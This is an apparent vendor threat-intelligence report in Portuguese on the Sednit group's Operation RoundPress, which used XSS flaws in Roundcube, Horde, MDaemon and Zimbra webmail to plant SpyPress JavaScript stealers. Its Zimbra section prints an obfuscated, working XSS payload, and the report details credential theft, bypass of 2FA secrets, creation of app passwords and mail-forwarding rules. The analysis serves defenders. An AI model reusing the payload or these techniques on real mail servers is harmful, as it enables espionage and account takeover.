Este post apresenta a operação que denominamos RoundPress, voltada à exploração de vulnerabilidades XSS em servidores de webmail de alto valor. Atribuímos com confiança moderada sua autoria ao grupo de ciberespionagem Sednit. O objetivo da campanha é o roubo de dados confidenciais de contas de e-mail específicas.
Principais pontos deste post:
- Na Operação RoundPress, o vetor de comprometimento é um e-mail de spearphishing que aproveita uma vulnerabilidade XSS para injetar código JavaScript malicioso na página de webmail da vítima.
- Em 2023, a Operação RoundPress visava apenas o Roundcube, mas em 2024 ela se expandiu para outros softwares de webmail, incluindo Horde, MDaemon e Zimbra.
- Para a empresa do software MDaemon, o Sednit usou uma vulnerabilidade XSS de zero-day. Informamos a vulnerabilidade aos desenvolvedores no dia 01 de novembro de 2024 e ela foi corrigida na versão 24.5.1.
- A maioria das vítimas são órgãos governamentais e empresas de defesa na Europa Oriental, embora tenhamos observado que governos na África, Europa e América do Sul também estão sendo visados.
- Fornecemos uma análise dos payloads JavaScript SpyPress.HORDE, SpyPress.MDAEMON, SpyPress.ROUNDCUBE e SpyPress.ZIMBRA.
- Esses payloads mencionados no item anterior são capazes de roubar credenciais de webmail e exfiltrar contatos e mensagens de e-mail da caixa de entrada da vítima.
- O SpyPress.MDAEMON é capaz de configurar ações para burlar a autenticação de dois fatores.
Perfil do grupo Sednit
O grupo Sednit, também conhecido como APT28, Fancy Bear, Forest Blizzard ou Sofacy, está em atividade desde pelo menos 2004. O Departamento de Justiça dos EUA apontou o grupo como um dos responsáveis pela invasão do Comitê Nacional Democrata (DNC) pouco antes das eleições de 2016 nos EUA e vinculou o Sednit ao GRU. Presume-se que o grupo também esteja por trás da invasão da rede de televisão global TV5Monde, do vazamento de e-mails da Agência Mundial Antidoping (WADA) e de muitos outros incidentes. O Sednit tem um conjunto diversificado de ferramentas de malware em seu arsenal, vários exemplos dos quais documentamos anteriormente em nosso white paper sobre o Sednit que foi publicado em 2016.
Ligações com o grupo Sednit
Em 29 de setembro de 2023, detectamos um e-mail de spearphishing, parte da Operação RoundPress, enviado de katecohen1984@portugalmail[.]pt (endereço envelope-from). O e-mail explorava a falha CVE-2023-43770 no Roundcube. Esse endereço de e-mail é muito semelhante aos usados em outras campanhas do Sednit em 2023, conforme documentado pela Unit42, por exemplo.
Aproveitando uma varredura de rede que executamos em fevereiro de 2022, encontramos o servidor 45.138.87[.]250 / ceriossl[.]info, que foi configurado da mesma forma única que 77.243.181[.]238 / global-world-news[.]net. O primeiro foi mencionado em uma postagem do blog da Qianxin descrevendo uma campanha que explorava a falha CVE-2023-23397 e que que era atribuída ao Sednit. O último é um domínio usado na Operação RoundPress em 2023.
Considerando esses dois elementos, acreditamos com confiança média que a Operation RoundPress foi articulada pelo grupo cibercriminoso Sednit.
Vitimologia
A Tabela 1 e a Figura 1 detalham os alvos da Operação RoundPress em 2024, a partir da telemetria da ESET e de duas amostras no VirusTotal.
A maioria dos alvos está relacionada à atual guerra na Ucrânia; são órgãos governamentais ucranianas ou empresas de defesa na Bulgária e na Romênia. Notavelmente, algumas dessas empresas de defesa estão produzindo armas da era soviética para serem enviadas à Ucrânia.
Outros alvos incluem governos da África, da União Europeia e da América do Sul.
Tabela 1. Vítimas da Operação RoundPress em 2024.
Date | Country | Sector |
2024-05 | Greece | National government. |
Romania | Unknown (VirusTotal submission). | |
Ukraine | Specialized Prosecutor’s Office in the Field of Defense of the Western Region (VirusTotal submission). | |
2024-06 | Bulgaria | Telecommunications for the defense sector. |
Cameroon | National government. | |
Ukraine | Military. | |
2024-07 | Ecuador | Military. |
Ukraine | Regional government. | |
Serbia | National government. | |
2024-09 | Cyprus | An academic in environmental studies. |
Romania | Defense company. | |
Ukraine | Military. | |
2024-10 | Bulgaria | Defense company. |
2024-11 | Bulgaria | Defense company (not the same as in 2024-10). |
Ukraine | Civil air transport company. | |
Defense company. | ||
2024-12 | Ukraine | State company in the transportation sector. |

Cadeia de comprometimento
Acesso inicial
Em 2023, o Sednit estava explorando a falha CVE-2020-35730, uma vulnerabilidade XSS conhecida no Roundcube (veja este post do CERT-UA e este relatório do Recorded Future), que permite o carregamento de código JavaScript arbitrário no contexto da janela do webmail.
Em 2024, observamos diferentes vulnerabilidades XSS sendo usadas para atingir outros softwares de webmail: Horde, MDaemon e Zimbra. O Sednit também começou a usar uma vulnerabilidade mais recente no Roundcube, CVE-2023-43770. A vulnerabilidade do MDaemon (CVE-2024-11182, agora corrigida) foi uma falha zero-day, provavelmente descoberta pelo Sednit, enquanto as do Horde, Roundcube e Zimbra já eram conhecidas e corrigidas.
O Sednit envia exploits do XSS por e-mail que levam à execução de código JavaScript malicioso no contexto da página da Web do cliente de webmail em execução em uma janela do navegador. Portanto, somente os dados acessíveis da conta da vítima podem ser lidos e exfiltrados.
Observe que, para que a exploração da falha funcione, o alvo deve ser convencido a abrir a mensagem de e-mail no portal de webmail vulnerável. Isso significa que o e-mail precisa contornar qualquer filtragem de spam e a linha de assunto precisa ser convincente o suficiente para induzir o alvo a ler a mensagem de e-mail.
A Figura 2 resume a cadeia de comprometimento usada na Operação RoundPress.

Em geral, a mensagem de e-mail parece inofensiva e contém texto sobre eventos noticiosos. Por exemplo, no dia 11 de setembro de 2024, um alvo ucraniano recebeu um e-mail de phishing de kyivinfo24@ukr[.]net com o assunto СБУ схопила банкіра, який працював на ворожу воєнну розвідку в Харкові (tradução livre: SBU prendeu um banqueiro que trabalhava para a inteligência militar inimiga em Kharkiv). O corpo da mensagem - veja a Figura 3 - contém trechos (em ucraniano) e links para artigos do Kyiv Post, um conhecido jornal da Ucrânia. O código malicioso que aciona a vulnerabilidade XSS está dentro do código HTML do corpo da mensagem de e-mail e não está diretamente visível para o usuário.

Outro exemplo é um e-mail do office@terembg[.]com para um alvo búlgaro no dia 08 de de novembro de 2024, com o assunto Путин се стреми Тръмп да приеме руските условия вдвустранните отношения (tradução livre: Putin busca a aceitação de Trump das condições russas nas relações bilaterais). O corpo da mensagem - veja a Figura 4 - contém novamente trechos (em búlgaro) e links para artigos do News.bg, um legítimo jornal búlgaro.

Vale destacar que essas vulnerabilidades não são exploradas apenas por esse grupo. Outros grupos, como o GreenCube (também conhecido como UNC3707) e o Winter Vivern, também têm se aproveitado delas.
Horda: Exploit desconhecido
Para alvos que usam o webmail Horde, vimos o Sednit usando uma vulnerabilidade antiga. Não conseguimos encontrar a vulnerabilidade exata, mas ela parece ser uma falha de XSS que já foi corrigida na primeira versão do Xss.php enviada ao GitHub e no Horde Webmail 1.0, que foi lançado em 2007.

Na versão 1.0 do Horde Webmail, o filtro XSS remove os elementos de estilo e os atributos on*, como onerror. Portanto, acreditamos que o Sednit cometeu um erro e tentou usar um exploit que não estava funcionando.
MDaemon: CVE-2024-11182
No dia 01 de novembro de 2024, detectamos uma mensagem de e-mail enviada a duas empresas estatais de defesa ucranianas e a uma empresa de transporte aéreo civil da Ucrânia.
Essa mensagem explorava uma vulnerabilidade XSS de zero-day no servidor de e-mail MDaemon, na renderização de código HTML não confiável em mensagens de e-mail. Relatamos a vulnerabilidade aos desenvolvedores em 1º de novembro de 2024 e ela foi corrigida na versão 24.5.1, lançada em 14 de novembro do mesmo ano. Posteriormente, a vulnerabilidade recebeu o identificador CVE-2024-11182.
O exploit utilizado pelo Sednit é mostrado na Figura 6. Assim como no Horde, ele se baseia em um elemento img especialmente criado, mas usa um bug no analisador HTML do MDaemon em que uma tag final noembed inserida no atributo title de um elemento p engana o analisador para que ele renderize a tag img imediatamente seguinte.

Roundcube: CVE-2023-43770
Em ataques direcionados a usuários do webmail Roundcube, o Sednit explorou, em 2023, a vulnerabilidade XSS identificada como CVE-2020-35730. Já em 2024, o grupo passou a utilizar a falha CVE-2023-43770.
A vulnerabilidade mais recente foi corrigida em14 de setembro de 2023 neste commit do GitHub. A correção está em um regex no script rcube_string_replacer.php. O exploit usado pelo Sednit é bastante simples e está representado na Figura 7.

No arquivo rcube_string_replacer.php, os URLs são convertidos em hiperlinks, sendo o texto do link determinado pelo conteúdo entre o conjunto externo de colchetes. O problema está na falta de higienização adequada desse texto: caracteres como < e > são permitidos, o que abre espaço para a injeção de código JavaScript. Dessa forma, um invasor pode inserir um trecho como <script>...</script>, que é incorporado diretamente à página quando o e-mail é renderizado no Roundcube.
Zimbra: CVE-2024-27443 / ZBUG-3730
Para o Zimbra, o Sednit usa o CVE-2024-27443 (também rastreado como ZBUG-3730). A falha foi corrigida em 1º de março de 2024 neste commit do GitHub, no arquivo ZmInviteMsgView.js. A vulnerabilidade está na falha de sanitização do atributo cif (calendar intended for), em um convite de calendário enviado por e-mail.
O atributo cif é preenchido a partir do cabeçalho de e-mail X-Zimbra-Calendar-Intended-For. Antes da correção, o valor era adicionado diretamente à página HTML do Zimbra sem sanitização. Isso permitia a execução de código JavaScript malicioso no contexto da janela do navegador do webmail.
O código de exploração que encontramos nesse cabeçalho é o seguinte:
Zimbra Calendar<img/alt=''/src='Zimbra-Calendar'/onerror=\"window[(function(tmz){ghwa='cxe';return '\\x65'+decodeURI('%76')+'\\x61\\x6c'})()](window[(function(jvqka){const kqd=decodeURI('%61')+'\t'+decodeURI('%6F')+'\\x62'; oykbg='doix'; return kqd})()](frames[0].document.getElementById('a-cashed-skinLayout2')['\inn\e\r\T\e\xt']))\">
O código embelezado contido no atributo onerror é:
window['eval'](window[(function(jvqka){'atob'()](frames[0].document.getElementById('a-cashed-skinLayout2')['innerText']))
Basicamente, isso lê o texto contido em um elemento div, identificado pelo ID a-cashed-skinLayout2, que está presente no corpo do convite do calendário. Esse elemento div usa o atributo style com o valor display:none para que não fique visível para o alvo. O texto interno contém código JavaScript codificado em base64 que é executado usando eval.
Persistência
Os payloads JavaScript (SpyPress) carregados pelas vulnerabilidades XSS não têm persistência real, mas são recarregados sempre que a vítima abre o e-mail malicioso.
Além disso, detectamos alguns payloads do SpyPress.ROUNDCUBE que têm a capacidade de criar regras Sieve. O SpyPress.ROUNDCUBE cria uma regra que envia uma cópia de cada e-mail recebido para um endereço de e-mail controlado pelo cibercriminoso. As regras Sieve são um recurso do Roundcube e, portanto, a regra será executada mesmo que o script malicioso não esteja mais em execução.
Acesso a credenciais
Todos os payloads do SpyPress têm a capacidade de roubar credenciais de webmail ao tentar enganar o navegador ou o gerenciador de senhas para preencher as credenciais de webmail em um formulário oculto. Além disso, algumas amostras também tentam enganar a vítima, desconectando-a de sua conta de webmail e exibindo uma página de login falsa.
Coleta e exfiltração
A maioria dos payloads do SpyPress coleta mensagens de e-mail e informações de contato da caixa de correio da vítima. Os dados são então exfiltrados por meio de uma solicitação HTTP POST para um servidor C&C codificado.
Conjunto de ferramentas
Em 2024, observamos o Sednit usando quatro payloads na Operação RoundPress: SpyPress.HORDE, SpyPress.MDAEMON, SpyPress.ROUNDCUBE e SpyPress.ZIMBRA. Eles são injetados no contexto do webmail das vítimas usando vulnerabilidades XSS, conforme explicado acima.
Os quatro payloads têm características comuns. Todos são ofuscados de forma semelhante, com nomes de variáveis e funções substituídos por cadeias de caracteres de aparência aleatória - veja a Figura 8. Além disso, as cadeias de caracteres usadas pelo código, como URLs de webmail e do servidor de C&C, também são ofuscadas e contidas em uma lista criptografada. Cada uma dessas cadeias de caracteres só é descriptografada quando é usada. Observe que os nomes das variáveis e das funções são aleatórios para cada amostra, de modo que os payloads do SpyPress terão hashes diferentes.

Outra característica comum é que não há mecanismos de persistência ou atualização. O payload está totalmente contida no e-mail e só é executado quando a mensagem de e-mail é visualizada em uma instância vulnerável do webmail.
Por fim, todos os payloads se comunicam com seus servidores C&C codificados por meio de solicitações HTTP POST. Há um pequeno número de servidores C&C que são compartilhados por todos os payloads (não há separação por vítima ou tipo de payload).
SpyPress.HORDE
O SpyPress.HORDE é a carga de JavaScript injetada em instâncias vulneráveis do webmail do Horde. Depois de desofuscado e de as funções e variáveis serem renomeadas manualmente, ele revela sua principal funcionalidade: coleta e exfiltração de credenciais de usuários.
Recursos
Para roubar as credenciais, conforme mostrado na Figura 9, o SpyPress.HORDE cria dois elementos de entrada HTML: horde_user e horde_pass. Sua largura e opacidade são definidas como 0%, garantindo que não sejam visíveis para o usuário. O objetivo é enganar os navegadores e gerenciadores de senhas para que preencham esses valores. Observe que um retorno de chamada para o evento de alteração é criado na entrada horde_pass. Isso chama a função input_password_on_change assim que o elemento de entrada perde o foco depois que seu valor é alterado.

Em seguida, input_password_on_change exfiltra os dados chamando C2_POST_Request, como pode ser visto na Figura 10.
Protocolo de rede
A URL do C&C é codificado no script (veja a Figura 10) e a exfiltração é feita por meio de uma solicitação HTTPS POST.
Os dados do corpo têm um formato específico que é enviado com codificação base64. Por exemplo, bWVAdmljdGltLm9yZyA6OiBweAoKbXl1c2VybmFtZSBteXBhc3N3b3Jk decodifica para:
me@victim.org :: pxmyusername mypassword
onde px provavelmente significa exfiltração de senha.
Observe que a solicitação HTTP é feita pelo navegador da vítima, portanto, os cabeçalhos HTTP, como o User-Agent, variam de vítima para vítima.

SpyPress.MDAEMON
O SpyPress.MDAEMON é um payload de JavaScript injetado em instâncias vulneráveis do webmail MDaemon. Uma vez desofuscado, ele revela mais funcionalidades do que as implementadas no SpyPress.HORDE:
- roubo de credenciais (muito semelhante à implementação do SpyPress.HORDE),
- exfiltração de contatos e histórico de login,
- exfiltração de mensagens de e-mail,
- exfiltração do segredo de autenticação de dois fatores e
- criação de uma senha de aplicativo, que permite que os invasores acessem a caixa de correio de um aplicativo de e-mail e ignorem a proteção 2FA.
Recursos
Ladrão de credenciais
O ladrão de credenciais do SpyPress.MDAEMON é quase idêntico ao do SpyPress.HORDE - veja a Figura 11. A única diferença é o nome dos campos de entrada, que são Usuário e Senha, para corresponder aos nomes oficiais usados no software MDaemon.

Contatos e histórico de login
O SpyPress.MDAEMON obtém o histórico de login da vítima em https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Options-Authentication&GetLoginHistory=Yes, e exfiltra o conteúdo para o servidor C&C codificado. Ele usa a mesma função usada na parte do ladrão de credenciais para enviar uma solicitação HTTP POST ao servidor C&C, mas, em vez de px, usa ab como o tipo de mensagem.
Em seguida, conforme mostrado na Figura 12, o script obtém a lista de contatos da vítima em https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Contacts. Essa lista e os endereços de e-mail associados (na propriedade eml do JavaScript) são então exfiltrados para o servidor C&C.

Exfiltração de mensagens de e-mail
O SpyPress.MDAEMON navega pelas pastas da caixa de entrada do e-mail da vítima, conforme mostrado na Figura 13, e filtra uma lista codificada de pastas nas quais os cibercriminosos não estão interessados: calendário, notas, documentos, contatos, tarefas, remetentes permitidos e remetentes bloqueados.

Em seguida, para cada pasta - conforme ilustrado na Figura 14 - o SpyPress.MDAEMON percorre as páginas e, dentro de cada página, acessa todas as mensagens, exfiltrando cada e-mail para o servidor de comando e controle (C&C).
Para obter uma lista de mensagens de e-mail em uma determinada página de pasta, o SpyPress.MDAEMON busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=List&ReturnJavaScript=1&FolderID=<folder_ID>&Sort=RevDate&Page=<page>&UTF8=1.
Em seguida, ele itera sobre essa lista e busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>& View=Message&Source=Yes&Number=<email_ID>&FolderId=<folder_ID> para obter a origem de cada e-mail.
Finalmente, a origem do e-mail é exfiltrada por meio de uma solicitação HTTP POST para o servidor C&C, usando o tipo de mensagem mail-<folder_name>-<email_ID>. É feita uma solicitação HTTP POST para cada e-mail exfiltrado e, portanto, isso criará uma grande quantidade de tráfego de rede.
Observe que o script mantém uma lista de e-mails exfiltrados, evitando assim a exfiltração várias vezes.

Observe também que o ofuscador parece ter introduzido erros no script. Na função download_all_messages_from_folder, is_folder_limit é um nome de variável real que não foi ofuscado. No entanto, ela não é usada em nenhum lugar do código.
Segredo de autenticação de dois fatores
O SpyPress.MDAEMON exfiltra o segredo de autenticação de dois fatores da vítima - veja a Figura 15. Ele primeiro busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Options-Authentication&TwoFactorAuth=Yes&GetSecret=Yes para obter o segredo e, em seguida, envia-o para o servidor C&C, usando o tipo de mensagem 2fa.
Para visualizar o segredo, é necessária a senha, que o SpyPress.MDAEMON obtém do formulário de login falso que ele criou. Esse segredo é equivalente ao código QR mencionado na documentação do MDaemon e pode ser usado para registrar a conta em um aplicativo de autenticação, para então gerar um código 2FA válido para a conta da vítima. Como o SpyPress.MDAEMON adquire a senha e o segredo 2FA, os cibercriminosos podem fazer login diretamente na conta.

Criação de senha de aplicativo
Além de roubar o segredo da autenticação em dois fatores, o SpyPress.MDAEMON cria uma senha de aplicativo (veja a documentação). Essa senha pode ser utilizada em um cliente de e-mail para envio e recebimento de mensagens, sem a necessidade de inserir o código de autenticação em dois fatores (2FA), mesmo que a 2FA esteja ativada na conta. Vale destacar que o webmail do MDaemon aparentemente não exige o código 2FA para gerar uma nova senha de aplicativo.
Conforme mostrado na Figura 16, o SpyPress.MDAEMON busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Options-Authentication&CreateAppPassword=1s para criar uma nova senha de aplicativo. A resposta é essa senha, que é exfiltrada para o servidor C&C com o tipo de mensagem create-app.
Em outras palavras, essa senha de aplicativo permite que os cibercriminosos adicionem a conta de e-mail diretamente ao seu próprio cliente de e-mail. Dessa forma, eles podem manter o acesso à caixa de entrada do e-mail, mesmo que a senha principal da conta da vítima seja alterada ou que o código 2FA seja alterado.

Protocolo de rede
O SpyPress.MDAEMON usa o mesmo protocolo de rede que o SpyPress.HORDE.
SpyPress.ROUNDCUBE
O SpyPress.ROUNDCUBE é o payload JavaScript injetado em instâncias vulneráveis do webmail Roundcube. Uma vez desofuscado, ele revela funcionalidades semelhantes às implementadas no SpyPress.MDAEMON:
- roubo de credenciais,
- exfiltração do catálogo de endereços e da página sobre,
- exfiltração de e-mails e
- regras maliciosas do Sieve.
Recursos
Roubador de credenciais
O ladrão de credenciais do SpyPress.ROUNDCUBE tem dois recursos. O primeiro é quase idêntico ao ladrão de credenciais do SpyPress.HORDE e do SpyPress.MDAEMON. A única diferença é o nome dos campos de entrada, que são _user e _pass, para corresponder aos nomes oficiais usados no software Roundcube.
O segundo recurso é um pouco mais intrusivo. O SpyPress.ROUNDCUBE cria um iframe, conforme mostrado na Figura 17, com o atributo src definido como https://<webmail_URL>/?_task=logout&_token=<CSRF_token>. Isso faz com que a vítima saia do sistema, forçando-a a digitar novamente suas credenciais. O SpyPress.ROUNDCUBE adiciona um retorno de chamada no botão de envio do formulário de login genuíno. Por fim, as credenciais são exfiltradas para o servidor C&C hardcodeado usando o tipo de mensagem pax-fish.

Observe que o token CSRF é recuperado da variável rcmail.env.request_token. A variável global rcmail é gerenciada e preenchida pela instância do Roundcube e acessível no contexto JavaScript em que o SpyPress.ROUNDCUBE está sendo executado.
Extração não autorizada da agenda de contatos e da página institucional
O SpyPress.ROUNDCUBE busca o catálogo de endereços em
https://<webmail_URL>/?_task=addressbook&_source=0&_action=export&&_token=<CSRF_token> e envia a saída bruta para o servidor C&C.
Da mesma forma, o SpyPress.ROUNDCUBE busca a página "about" em https://<webmail_URL>/?_task=settings&_framed=1&_action=about e envia a saída bruta para o servidor de C&C.
Essa página contém informações sobre a versão do Roundcube e os plug-ins instalados, conforme mostrado na Figura 18.

Exfiltração de mensagens de e-mail
O SpyPress.ROUNDCUBE inicia a rotina de exfiltração de e-mail a cada 7.200 segundos (duas horas).
Primeiro, ele obtém a lista de caixas de correio da variável global rcmail.env.mailboxes. Em seguida, ele itera sobre todas essas caixas de correio; para cada uma delas, itera sobre as páginas para obter os IDs das mensagens de e-mail, buscando https://<webmail_URL>/?_task=mail&_action=list&_mbox=<mailbox_name>&_refresh=1&_remote=1&_page=<current_page>. Observe que o SpyPress.ROUNDCUBE adiciona o cabeçalho HTTP X-Roundcube-Request, que contém o token CSRF.
Observe também que há um limite inferior de tempo codificado no script, 6:02:03 am, em 1º de outubro de 2024 na amostra específica de script que analisamos, e somente os e-mails mais recentes do que isso são exfiltrados.
A origem de cada mensagem de e-mail é obtida de
https://<webmail_URL>/?_task=mail&_mbox=<mailbox>&_uid=<email_ID>&_action=viewsource e, em seguida, exfiltrada para o servidor C&C.
Observe que, se o SpyPress.ROUNDCUBE exfiltrar mais de 150 e-mails em uma única execução, ele interrompe a operação até a próxima rotina de filtragem de e-mails, que ocorre duas horas depois. Essa limitação provavelmente visa reduzir o tráfego na rede da vítima e evitar a detecção.
Regras Sieve maliciosas
Em algumas amostras do SpyPress.ROUNDCUBE, há uma funcionalidade adicional relacionada às regras do Sieve - veja a Figura 19. O SpyPress.ROUNDCUBE cria uma regra que envia uma cópia de cada mensagem de e-mail recebida para um endereço de e-mail controlado pelo invasor(srezoska@skiff[.]com, nesse caso). O Skiff era um serviço de e-mail voltado para a privacidade que fornecia criptografia de ponta a ponta.

Protocolo de rede
O SpyPress.ROUNDCUBE usa o mesmo protocolo de rede que o SpyPress.HORDE.
SpyPress.ZIMBRA
O SpyPress.ZIMBRA é o payload JavaScript injetado em instâncias vulneráveis do webmail do Zimbra. Uma vez desofuscado, ele revela funcionalidades semelhantes aos payloads anteriores:
- roubo de credenciais,
- exfiltração de contatos e configurações, e
- exfiltração de mensagens de e-mail.
Recursos
Roubador de credenciais
O ladrão de credenciais do SpyPress.ZIMBRA é quase idêntico ao do SpyPress.HORDE e do SpyPress.MDAEMON. A única diferença é o nome dos campos de entrada, que são nome de usuário e senha, para corresponder aos nomes oficiais usados no software Zimbra.
Exfiltração de contatos e configurações
O SpyPress.ZIMBRA obtém a lista de contatos da vítima fazendo uma solicitação SOAP ao endpoint da API do Zimbra https://<webmail_URL>/service/soap/SearchRequest. Conforme mostrado na Figura 20, a consulta de pesquisa está contida em um dicionário que é enviado ao servidor do Zimbra no corpo de uma solicitação POST. Finalmente, o SpyPress.ZIMBRA exfiltra a saída bruta para o servidor C&C.

rmazena diversos valores de configuração e preferências. Esse comportamento é semelhante ao do SpyPress.ROUNDCUBE, que exfiltra a página "Sobre".
Exfiltração de e-mail
A cada 14.400 segundos (quatro horas), usando a função setInterval, esse payload inicia sua rotina de exfiltração de e-mail.
Como nos payloads anteriores, o SpyPress.ZIMBRA primeiro lista as pastas e, em seguida, itera sobre os primeiros 80 e-mails em cada pasta por meio de uma solicitação SOAP para https://<webmail_URL>/service/soap/SearchRequest. Para cada mensagem, o script obtém a fonte em https://<webmail_URL>/service/home/~/?auth=co&view=text&id=<email_ID> e, em seguida, exfiltra a fonte da mensagem de e-mail - veja a Figura 21.

Protocolo de rede
O SpyPress.ZIMBRA usa o mesmo protocolo de rede que o SpyPress.HORDE.
Conclusão
Nos últimos dois anos, servidores de webmail como Roundcube e Zimbra têm sido alvos principais de diversos grupos de espionagem, como Sednit, GreenCube e Winter Vivern. Como muitas organizações não mantêm esses servidores atualizados e as vulnerabilidades podem ser exploradas remotamente via envio de mensagens de e-mail, os cibercriminosos encontram nessas plataformas um alvo conveniente para o roubo de informações.
Indicadores de Comprometimento
Uma lista abrangente de indicadores de comprometimento (IoCs) e amostras pode ser encontrada em nosso repositório no GitHub.
Arquivos
SHA-1 | Filename | Detection | Description |
41FE2EFB38E0C7DD10E6 |
N/A | JS/Agent.RSO | SpyPress.ZIMBRA. |
60D592765B0F4E08078D |
N/A | JS/Exploit.Agent.NSH | XSS exploit for CVE-2023-43770. |
1078C587FE2B246D618A |
N/A | JS/Exploit.Agent.NSH | SpyPress.ROUNDCUBE. |
8EBBBC9EB54E216EFFB4 |
N/A | HTML/Phishing.Agent.GNZ | XSS exploit for CVE-2024-11182. |
F95F26F1C097D4CA3830 |
N/A | HTML/Phishing.Agent.GNZ | SpyPress.MDAEMON. |
2664593E2F5DCFDA9AAA |
N/A | JS/Agent.SJU | Probable XSS exploit for Horde. |
B6C340549700470C6510 |
N/A | JS/Agent.SJU | SpyPress.HORDE. |
65A8D221B9ECED76B9C1 |
N/A | HTML/Phishing.Gen | SpyPress.ROUNDCUBE. |
6EF845938F064DE39F4B |
N/A | N/A | Email exploiting CVE-2023-43770, found on VirusTotal. |
8E6C07F38EF920B5154F |
N/A | JS/Agent.RSP | SpyPress.ROUNDCUBE. |
AD3C590D1C0963D62702 |
N/A | JS/Agent.RSN | SpyPress.ZIMBRA. |
EBF794E421BE60C95320 |
N/A | JS/Agent.RTD | SpyPress.ROUNDCUBE. |
F81DE9584F0BF3E55C6C |
N/A | JS/Agent.RWO | SpyPress.ROUNDCUBE. |
A5948E1E45D50A8DB063 |
N/A | JS/Exploit.Agent.NSG | XSS exploit for CVE-2023-43770. |
Rede
IP | Domain | Hosting provider | First seen | Details |
185.225.69[.]223 | sqj[.]fr | 23VNet Kft. | 2024‑06‑01 | SpyPress C&C server. |
193.29.104[.]152 | tgh24[.]xyz tuo[.]world |
GLOBALAXS NOC PARIS | 2024‑06‑04 | SpyPress C&C server. |
45.137.222[.]24 | lsjb[.]digital | Belcloud Administration | 2024‑07‑03 | SpyPress C&C server. |
91.237.124[.]164 | jiaw[.]shop | HOSTGNOME LTD | 2023‑09‑28 | SpyPress C&C server. |
185.195.237[.]106 | hfuu[.]de | Network engineer | 2024‑06‑03 | SpyPress C&C server. |
91.237.124[.]153 | raxia[.]top | Damien Cutler | 2024‑06‑03 | SpyPress C&C server. |
146.70.125[.]79 | rnl[.]world | GLOBALAXS NOC PARIS | 2024‑06‑07 | SpyPress C&C server. |
89.44.9[.]74 | hijx[.]xyz | M247 Europe SRL | 2024‑07‑05 | SpyPress C&C server. |
111.90.151[.]167 | ikses[.]net | Shinjiru Technology Sdn Bhd | 2024‑12‑01 | SpyPress C&C server. |
Técnicas do MITRE ATT&CK
Esta tabela foi criada usando a versão 17 da estrutura MITRE ATT&CK.
Tactic | ID | Name | Description |
Resource Development | T1583.001 | Acquire Infrastructure: Domains | Sednit bought domains at various registrars. |
T1583.004 | Acquire Infrastructure: Server | Sednit rented servers at M247 and other hosting providers. | |
T1587.004 | Develop Capabilities: Exploits | Sednit developed (or acquired) XSS exploits for Roundcube, Zimbra, Horde, and MDaemon. | |
T1587.001 | Develop Capabilities: Malware | Sednit developed JavaScript stealers (SpyPress.HORDE, SpyPress.MDAEMON, SpyPress.ROUNDCUBE, and SpyPress.ZIMBRA) to steal data from webmail servers. | |
Initial Access | T1190 | Exploit Public-Facing Application | Sednit exploited known and zero-day vulnerabilities in webmail software to execute JavaScript code in the context of the victim’s webmail window. |
Execution | T1203 | Exploitation for Client Execution | SpyPress payloads are executed when a victim opens the malicious email in a vulnerable webmail client page. |
Defense Evasion | T1027 | Obfuscated Files or Information | SpyPress payloads are obfuscated with an unknown JavaScript obfuscator. |
Credential Access | T1187 | Forced Authentication | SpyPress payloads can log out users to entice them into entering their credentials in a fake login form. |
T1556.006 | Modify Authentication Process: Multi-Factor Authentication | SpyPress.MDAEMON can steal the 2FA token and create an application password. | |
Discovery | T1087.003 | Account Discovery: Email Account | SpyPress payloads get information about the email account, such as the contact list. |
Collection | T1056.003 | Input Capture: Web Portal Capture | SpyPress payloads try to steal webmail credentials by creating a hidden login form, to trick the browser and password managers into filling the credentials. |
T1119 | Automated Collection | SpyPress payloads automatically collect credentials and email messages. | |
T1114.002 | Email Collection: Remote Email Collection | SpyPress payloads collect and exfiltrate emails, from the victim’s mailbox. | |
T1114.003 | Email Collection: Email Forwarding Rule | SpyPress.MDAEMON adds a Sieve rule to forward any incoming email to an attacker-controlled email address. | |
Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | C&C communication is done via HTTPS. |
T1071.003 | Application Layer Protocol: Mail Protocols | In case of email forwarding rules, the exfiltration is done via email. | |
T1132.001 | Data Encoding: Standard Encoding | Data is base64 encoded before being sent to the C&C server. | |
Exfiltration | T1020 | Automated Exfiltration | SpyPress payloads automatically exfiltrate credentials and email messages to the C&C server. |
T1041 | Exfiltration Over C2 Channel | SpyPress payloads exfiltrate data over the C&C channel. |